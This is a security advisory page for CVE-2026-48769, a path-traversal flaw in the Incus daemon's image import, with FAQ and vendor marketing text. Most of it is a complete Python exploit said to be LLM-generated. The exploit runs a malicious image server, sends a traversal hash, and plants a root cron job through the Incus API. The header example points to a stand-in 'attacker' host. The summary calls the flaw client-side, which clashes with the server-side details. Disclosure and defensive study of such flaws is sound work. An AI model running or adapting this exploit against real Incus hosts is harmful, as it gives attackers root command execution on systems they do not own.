Summary
Incus has an arbitrary file write on its client due to trusted image hash
An arbitrary file write exists in the Incus client when a malicious image server returns a crafted Incus-Image-Hash header. This can lead to arbitrary command execution as root on the server.
Details
cmd/incusd/images.go:611-684handlessource.type=urlby HEADing the user-supplied URL, readingIncus-Image-HashandIncus-Image-URL, and passing them toimageDownload()asAliasandServer.cmd/incusd/daemon_images.go:91-92defaultsfpto the caller-controlled alias string.cmd/incusd/daemon_images.go:333-335buildsdestName := filepath.Join(destDir, fp).cmd/incusd/daemon_images.go:469-523enters thedirectprotocol branch, opensdestNamewithos.Create(), and copies the HTTP response into that file.cmd/incusd/daemon_images.go:528-532validates the SHA-256 only after the file has already been created and populated.cmd/incusd/daemon_images.go:337-344cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.
A malicious image server returning something along the following will cause the arbitrary file write.
Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
Incus-Image-URL: http://attacker/payload
PoC
The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.
The following script was generated by an LLM.
#!/usr/bin/env python3
"""Direct image URL hash path traversal to transient host cron write.
For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory.
Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file.
"""
from __future__ import annotations
import argparse
import http.client
import json
import shlex
import socket
import ssl
import sys
import threading
import time
import urllib.parse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from typing import Any
DEFAULT_SOCKET = "/var/lib/incus/unix.socket"
DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce"
class UnixHTTPConnection(http.client.HTTPConnection):
def __init__(self, socket_path: str, timeout: int = 120):
super().__init__("incus", timeout=timeout)
self.socket_path = socket_path
def connect(self) -> None:
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.settimeout(self.timeout)
sock.connect(self.socket_path)
self.sock = sock
class RCEHTTPServer(ThreadingHTTPServer):
hash_path: str
advertise_url: str
payload: bytes
hold_seconds: int
payload_requested: threading.Event
class DirectImageHandler(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
server_version = "direct-image-rce/1.0"
def log_message(self, fmt: str, *args: Any) -> None:
print(f"[http] {self.address_string()} - {fmt % args}", flush=True)
def do_HEAD(self) -> None:
if self.path != "/stage":
self.send_error(404)
return
srv = self.server
assert isinstance(srv, RCEHTTPServer)
self.send_response(200)
self.send_header("Incus-Image-Hash", srv.hash_path)
self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload")
self.send_header("Connection", "close")
self.end_headers()
def do_GET(self) -> None:
if self.path != "/payload":
self.send_error(404)
return
srv = self.server
assert isinstance(srv, RCEHTTPServer)
srv.payload_requested.set()
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(srv.payload)
self.wfile.flush()
print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True)
time.sleep(srv.hold_seconds)
self.close_connection = True
def quote(value: str) -> str:
return urllib.parse.quote(value, safe="")
def tls_context(args: argparse.Namespace) -> ssl.SSLContext:
if args.insecure:
ctx = ssl._create_unverified_context()
else:
ctx = ssl.create_default_context(cafile=args.cacert)
if args.cert:
ctx.load_cert_chain(args.cert, args.key)
return ctx
def connection(args: argparse.Namespace) -> http.client.HTTPConnection:
if args.url:
parsed = urllib.parse.urlparse(args.url)
if parsed.scheme != "https":
raise ValueError("--url must use https")
return http.client.HTTPSConnection(
parsed.hostname,
parsed.port or 8443,
timeout=args.timeout,
context=tls_context(args),
)
return UnixHTTPConnection(args.socket, timeout=args.timeout)
def request_json(
args: argparse.Namespace,
method: str,
path: str,
obj: dict[str, Any] | None,
allow_error: bool = False,
) -> tuple[int, dict[str, Any]]:
body = None if obj is None else json.dumps(obj).encode("utf-8")
headers = {"Host": "incus"}
if body is not None:
headers["Content-Type"] = "application/json"
conn = connection(args)
conn.request(method, path, body=body, headers=headers)
resp = conn.getresponse()
raw = resp.read()
conn.close()
try:
data = json.loads(raw) if raw else {}
except json.JSONDecodeError:
data = {"raw": raw.decode("utf-8", "replace")}
if not allow_error and (resp.status >= 400 or data.get("type") == "error"):
raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}")
return resp.status, data
def images_path(project: str) -> str:
return "/1.0/images?project=" + quote(project)
def cron_payload(command: str) -> bytes:
return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8")
def image_url_body(project_url: str, public: bool) -> dict[str, Any]:
return {
"source": {
"type": "url",
"url": project_url.rstrip("/") + "/stage",
},
"public": public,
}
def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer:
server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler)
server.hash_path = args.hash_path
server.advertise_url = args.advertise_url
server.payload = payload
server.hold_seconds = args.hold_seconds
server.payload_requested = threading.Event()
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server
def main() -> int:
parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC")
parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket")
parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443")
parser.add_argument("--cert", help="client certificate for remote Incus")
parser.add_argument("--key", help="client private key for remote Incus")
parser.add_argument("--cacert", help="CA certificate for remote Incus")
parser.add_argument("--insecure", action="store_true", help="disable TLS verification")
parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout")
parser.add_argument("--project", default="default", help="project used for image import")
parser.add_argument("--public", action="store_true", help="mark imported image public")
parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address")
parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port")
parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon")
parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash")
parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds")
parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run")
parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images")
parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger")
args = parser.parse_args()
if bool(args.cert) != bool(args.key):
parser.error("--cert and --key must be supplied together")
if args.execute_trigger and not args.yes_i_understand_this_writes_host_file:
parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file")
payload = cron_payload(args.command)
trigger_body = image_url_body(args.advertise_url, args.public)
print("[*] exploit primitive: direct image URL unvalidated hash path host write")
print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage")
print(f"[*] returned Incus-Image-Hash: {args.hash_path}")
print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload")
print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce")
print(f"[*] cron payload: {payload.decode().rstrip()}")
print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}")
if not args.execute_trigger:
print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test")
return 0
server = start_server(args, payload)
print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}")
status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True)
print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}")
if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)):
print("[*] daemon requested payload; cron file should exist until the held response is released")
else:
print("[!] daemon did not request payload within the wait window")
print("[*] leaving HTTP server active for the remaining hold window")
time.sleep(max(0, args.hold_seconds - 30))
server.shutdown()
server.server_close()
return 0
if __name__ == "__main__":
try:
raise SystemExit(main())
except BrokenPipeError:
raise SystemExit(1)
except Exception as exc:
print(f"[-] {exc}", file=sys.stderr)
raise SystemExit(1)
Impact
An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.
The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.
CVE-2026-48769 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (7.2.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-48769? CVE-2026-48769 is a critical-severity improper input validation vulnerability in github.com/lxc/incus/v7/cmd/incusd (go), affecting versions < 7.2.0. It is fixed in 7.2.0. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
- How severe is CVE-2026-48769? CVE-2026-48769 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/lxc/incus/v7/cmd/incusd are affected by CVE-2026-48769? github.com/lxc/incus/v7/cmd/incusd (go) versions < 7.2.0 is affected.
- Is there a fix for CVE-2026-48769? Yes. CVE-2026-48769 is fixed in 7.2.0. Upgrade to this version or later.
- Is CVE-2026-48769 exploitable, and should I be worried? Whether CVE-2026-48769 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-48769 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-48769? Upgrade
github.com/lxc/incus/v7/cmd/incusdto 7.2.0 or later.